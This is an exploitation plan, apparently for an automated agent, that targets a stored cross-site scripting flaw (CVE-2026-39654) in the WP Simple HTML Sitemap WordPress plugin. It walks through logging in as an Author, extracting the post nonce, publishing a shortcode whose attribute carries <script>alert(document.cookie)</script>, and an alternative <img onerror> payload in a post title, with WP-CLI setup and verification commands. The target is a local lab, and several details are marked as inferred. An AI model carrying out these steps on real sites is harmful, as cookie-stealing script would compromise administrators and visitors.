Simple HTML Sitemap <= 3.8 - Authenticated (Author+) Stored Cross-Site Scripting

This research plan outlines the methodology for analyzing and exploiting CVE-2026-39654 in the WP Simple HTML Sitemap plugin.

---

1. Vulnerability Summary

The WP Simple HTML Sitemap plugin (versions <= 3.8) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin handles user-supplied input (likely via shortcode attributes or post metadata) and renders it on the frontend or backend without sufficient sanitization (e.g., sanitize_text_field) or output escaping (e.g., esc_html or esc_attr). An attacker with Author level permissions can inject arbitrary JavaScript that executes when any user (including Administrators) views the affected page.

2. Attack Vector Analysis

• Endpoint: wp-admin/post.php (Standard WordPress post/page editor).
• Action: Saving or publishing a post/page containing a malicious shortcode.
• Vulnerable Component: The shortcode handler for the sitemap.
• Shortcode Tag (Inferred): [wp_simple_html_sitemap] or [simple-html-sitemap].
• Vulnerable Parameters (Inferred): Shortcode attributes such as title, label, class, or id.
• Authentication: Requires an account with at least Author privileges (the ability to create and publish posts/pages).

3. Code Flow (Inferred)

1. The plugin registers a shortcode in its main file (e.g., wp-simple-html-sitemap.php) using add_shortcode( 'wp_simple_html_sitemap', 'callback_function' ).
2. The callback_function receives an $atts array containing user-defined attributes from the shortcode.
3. The plugin fails to sanitize these attributes upon receipt.
4. The attributes are then used to build an HTML string (e.g., <h2 class="sitemap-title">$title</h2>).
5. The plugin returns or echoes the HTML string without using esc_html() or esc_attr() on the attributes.
6. When a user views the page where the shortcode is placed, the injected script executes.

4. Nonce Acquisition Strategy

Since this vulnerability is exploited through the standard WordPress post editor, the "Store" phase relies on standard WordPress core nonces for saving posts.

1. Authentication: Log in as an Author user.
2. Navigation: Navigate to wp-admin/post-new.php?post_type=page.
3. Extraction:
   • The _wpnonce and _wp_http_referer are required for the POST request to post.php.
   • The execution agent should use browser_navigate to the editor page and then use browser_eval to extract the _wpnonce value from the hidden input field:
     browser_eval("document.querySelector('#_wpnonce').value").

5. Exploitation Strategy

Step 1: Authentication and Nonce Retrieval

Log in as the Author and capture the necessary post-submission nonce.

Step 2: Inject Stored XSS via Shortcode

Submit a request to create a page containing the malicious shortcode.

• Request Method: POST
• URL: http://localhost:8080/wp-admin/post.php
• Content-Type: application/x-www-form-urlencoded
• Body Parameters:
  • action: editpost
  • post_ID: (obtained from the post-new.php page load)
  • _wpnonce: (extracted nonce)
  • post_title: Sitemap Test
  • content: [wp_simple_html_sitemap title='<script>alert(document.cookie)</script>'] (Inferred attribute name)
  • publish: Publish

Step 3: Trigger the XSS

Navigate to the newly created page URL on the frontend to trigger the script execution.

6. Test Data Setup

1. Plugin Installation: Ensure wp-simple-html-sitemap version 3.8 is installed and active.
2. User Creation:

   wp user create attacker attacker@example.com --role=author --user_pass=password
   

3. Discovery: Determine the exact shortcode name and attributes by searching the plugin directory:

   grep -rn "add_shortcode" /var/www/html/wp-content/plugins/wp-simple-html-sitemap/
   

7. Expected Results

• The POST request to post.php should return a 302 Redirect to the post editor with message=1 (Post published).
• When navigating to the published page, a JavaScript alert box displaying the user's cookies should appear.
• Viewing the page source should show the raw <script> tag inside the sitemap's container elements.

8. Verification Steps (Post-Exploit)

Confirm the payload is stored in the database:

wp db query "SELECT post_content FROM wp_posts WHERE post_title='Sitemap Test' LIMIT 1;"

Check if the output in the frontend is truly unescaped:

# Using the http_request tool to fetch the page content
# Look for the literal string: <script>alert(document.cookie)</script>

9. Alternative Approaches

If shortcode attributes are sanitized, check the Post Title vector:

1. As an Author, create a post with the title: <img src=x onerror=alert(1)>.
2. Create a separate page with the sitemap shortcode: [wp_simple_html_sitemap].
3. If the plugin renders the list of post titles without escaping, the XSS will trigger when viewing the sitemap page.

Verification for Alternative:

grep -rn "the_title" /var/www/html/wp-content/plugins/wp-simple-html-sitemap/
# Check if it uses get_the_title() followed by echo without esc_html()